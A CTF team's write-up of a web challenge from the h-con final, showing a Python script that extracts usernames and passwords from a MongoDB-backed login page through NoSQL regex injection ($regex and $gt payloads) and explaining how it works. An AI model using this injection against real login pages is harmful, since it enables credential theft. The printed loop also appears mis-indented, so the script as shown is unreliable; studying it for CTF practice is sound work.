Hi everyone, in this post I will be covering one of both of the challenges we (Team Yorcheto) managed to solve in the final round of h-con CTF.

Let’s begin! :P

Web Challenge

This challenge was the initial access to a box called LaTierra, a linux box which contained some challenges related to Steganography, Reversing, etc.

Quick reminder: Wait from 2 to 5 minutes until scanning the whole target (including -p- in nmap) so you won’t have the problem I had.

This web challenge was based on a website with a login page that required a username inside “uname” and a password inside “upass” GET parameters. When we first approached the challenge, we tended to try vulnerabilities related to php (like type juggling) but had no success.

After requesting two hints for this challenge, the second one drove us to a TCP port (the hint was “27017 TCP”) and I inmediately thought that my full scan with nmap took that port closed because the service hadn’t been deployed yet. So then we had an open port with a Mongo Database running on it.

With that information, we would think that the login page was working along with the mongo database to check for credentials, so I quickly remembered a box from HTB (can’t say the name because it hasn’t been retired yet) based on a NOSQL injection leading to credential obtainance thanks to the possibility to use regular expressions to match our input with the database.

Code:

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username=''
password=''
u='http://IP/'
headers = {'Content-Type': 'application/x-www-form-urlencoded'}

usuarios = ["Gohan", "Kakarot"]
passes = ["ieatyourbrain", "93ab40353300ef91ba2e1bca7fba5d67"]

with requests.Session() as s:

    while True:
      for c in string.printable:
        if c in ['*','+','.','?','|','&', '$', '\\']:
          c = '\\' + c
          payload='uname[$regex]=^%s&upass[$gt]=&login=login' % (username + c)
          #payload='uname=Kakarot&upass[$regex]=^%s&login=login' % (username + c)

          
          r = s.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)

          if r.status_code == 302 and (username+c)[0] != "G" and (username+c)[0] != "K":
            print("Found one more char : %s" % (username+c))
            username += c
Edit: Changed from not using characters like “*,+,.” to using them by escaping with “\ \ " and not getting any errors. (¡Thanks Jari!)

The thing is, we iterate over all of the printable chracters and this way the usernames and passwords can be obtained.

payload='uname[$regex]=^%s&upass[$gt]=&login=login' % (username + c)

With this payload, the use of regex is declared (because php working in the backend treats our username field as an array and declares it contains a regex payload) and the match character (^) is used. This way, if the username is “pepe”, the script will be asking the database wheter the username starts with a, b, c, d,… When it gets to p, a 302 response is received which means the regex is true. Then, the script will be asking whether the username starts with “px” where x is the letter of the iteration, so “pe” would deliver a 302 response.

The parameter given to the password (kind of “bypass” it), as it returns true everytime. (You could now think that parameter could be used for both of the GET parameters, but our goal is to obtain credentials, not to bypass the login process.)

payload='uname=Kakarot&upass[$regex]=^%s&login=login' % (username + c)

This second payload does the same as the first one but treats the password as a regular expression. This way, passwords are being bruteforced with a valid username.

Conclusion

The second challenge was about reversing and my amazing teammates (sisoma2 and Naivenom) managed to solve it (Send them some funny stickers and they will surely tell you about it :P)

Thanks for reading :)